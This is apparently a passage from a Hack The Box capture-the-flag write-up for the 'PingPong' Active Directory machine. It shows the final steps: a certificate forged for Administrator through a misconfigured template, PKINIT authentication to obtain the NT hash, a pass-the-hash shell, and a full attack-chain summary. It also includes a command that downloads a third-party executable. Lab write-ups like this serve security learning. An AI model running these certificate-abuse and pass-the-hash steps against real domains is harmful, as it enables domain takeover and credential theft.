iwr -Uri <https://github.com/z3rodol/Certify.exe-v2-Compiled/raw/main/Certify.exe> -OutFile Certify3.exe

# Request cert for Administrator with --sid (Security Extension)
.\\Certify3.exe request `
  --ca dc1.ping.htb\\ping-DC1-CA `
  --template SmartcardAuthentication `
  --upn Administrator@ping.htb `
  --sid S-1-5-21-750635624-2058721901-1932338391-500

Output:

Certify v2.0
[*] Action: Request a Certificate
[*] Current user context: PING\\C.Roberts
[*] Template: SmartcardAuthentication
[*] Subject: CN=C.Roberts
[*] AltName UPN: Administrator@ping.htb
[*] Security Extension SID: S-1-5-21-750635624-2058721901-1932338391-500
[+] Certificate retrieved!
-----BEGIN RSA PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC66PMvGDdGN4BA...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGHTCCBQWgAwIBAgITHAAAABci94yU2ZTvvgACAAAAFzANBgkqhkiG9w0BAQsF...
-----END CERTIFICATE-----

Key findings:

  • Certify v2 properly emits the Security Extension SID
  • Cert UPN is Administrator@ping.htb, SID extension matches RID 500 — strong mapping satisfied

Step 21 — PKINIT as Administrator

Why: Convert the PEM cert+key to a PFX, then use certipy auth to perform PKINIT. The DC validates: SAN UPN matches user, Security Extension SID matches user object SID — both pass, TGT issued with full Administrator PAC.

# Reconstruct PFX from base64 blob
base64 -d admin_v2.b64 > admin_v2_raw.pfx
openssl asn1parse -inform DER -in admin_v2_raw.pfx -out admin_v2.pfx

# PKINIT auth
unset KRB5CCNAME
certipy-ad auth -pfx admin_v2.pfx \\
  -dc-ip 10.129.37.85 \\
  -domain ping.htb \\
  -username administrator

Output:

Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*]     SAN UPN: 'Administrator@ping.htb'
[*]     Security Extension SID: 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Using principal: 'administrator@ping.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@ping.htb': aad3b435b51404eeaad3b435b51404ee:<REDACTED>

Key findings:

  • Administrator NT hash: <REDACTED>
  • PKINIT succeeded — strong mapping satisfied via SID extension

Step 22 — Domain Admin Shell + Root Flag

Why: With Administrator's NT hash, evil-winrm via PtH (Pass-the-Hash works for Administrator since it has the inverse policy carve-out — or via Kerberos with the cached TGT).

evil-winrm -i 10.129.37.85 -u administrator -H <REDACTED>

Output:

*Evil-WinRM* PS C:\\Users\\Administrator\\Documents> whoami
ping\\administrator
*Evil-WinRM* PS C:\\Users\\Administrator\\Documents> type ..\\Desktop\\root.txt
<REDACTED>

🏴 BOX PWNED — DOMAIN ADMIN ON ping.htb ACHIEVED


Full Attack Chain

c.roberts (AssumedBreach)
  └─ TGT via Kerberos (NTLM disabled)
      └─ ADCS ESC13: TemporaryWinRM template → cert + auth
          └─ PAC injection: TempWinRMAccess group
              └─ evil-winrm shell on DC1 (ping.htb)
                  └─ Recon: Hyper-V → 192.168.2.0/24 internal net
                      └─ Ligolo-ng pivot via DC1
                          └─ MIT kinit cross-realm → pong.htb reachable
                              └─ DACL:WRITE on pong\\gMSA Managers
                                  └─ bloodyAD genericAll → FSP auto-created
                                      └─ Group scope ladder:
                                         Global → Universal → Domain Local
                                            └─ Cross-domain member added
                                                └─ Pong_gMSA$ NT/AES key dumped
                                                    └─ JEA endpoint as Pong_gMSA$
                                                        └─ ConsoleHost_history → c.carlssen creds
                                                            └─ evil-winrm DC2 🚩 user.txt
                                                                └─ GenericWrite on svc_sql
                                                                    └─ RBCD: Pong_gMSA$ → svc_sql
                                                                        └─ S4U2Self+S4U2Proxy as c.adam
                                                                            └─ MSSQL xp_cmdshell as svc_sql
                                                                                └─ GodPotato → SYSTEM on DC2
                                                                                    └─ ntdsutil NTDS dump
                                                                                        └─ R.Martinelli AES256
                                                                                            └─ Pre-cache cross-realm SPNs (kvno)
                                                                                                └─ ESC4: WriteDacl on SmartcardAuthentication
                                                                                                    └─ msPKI-Certificate-Name-Flag=1 (ESC1-ify)
                                                                                                        └─ grant_enroll.py: FullControl for c.roberts
                                                                                                            └─ Certify v2 (z3rodol) --sid extension
                                                                                                                └─ certipy auth → Administrator NT hash
                                                                                                                    └─ evil-winrm PtH 🏴 root.txt
                                                                                                                        🏴 DOMAIN ADMIN

Key Takeaways

The defining novelty of PingPong is the Global → Universal → Domain Local group scope ladder for cross-domain membership injection — exploiting WriteDacl on a target group across a forest trust by walking through AD's group scope transition rules. Combined with the ESC4 → ESC1 escalation requiring Certify v2 for proper Security Extension SID emission (a consequence of post-2022 strong certificate mapping enforcement), this box demonstrates current-generation cross-domain forest attack techniques against fully-hardened AD deployments with NTLM disabled and ms-DS-MachineAccountQuota=0.


© 0xNRG — PingPong pwned — 2026-04-28

image.png

Writeup restricted

This machine is currently active. The full writeup will be published once the box retires, in accordance with HTB's NDA policy.

Status — Active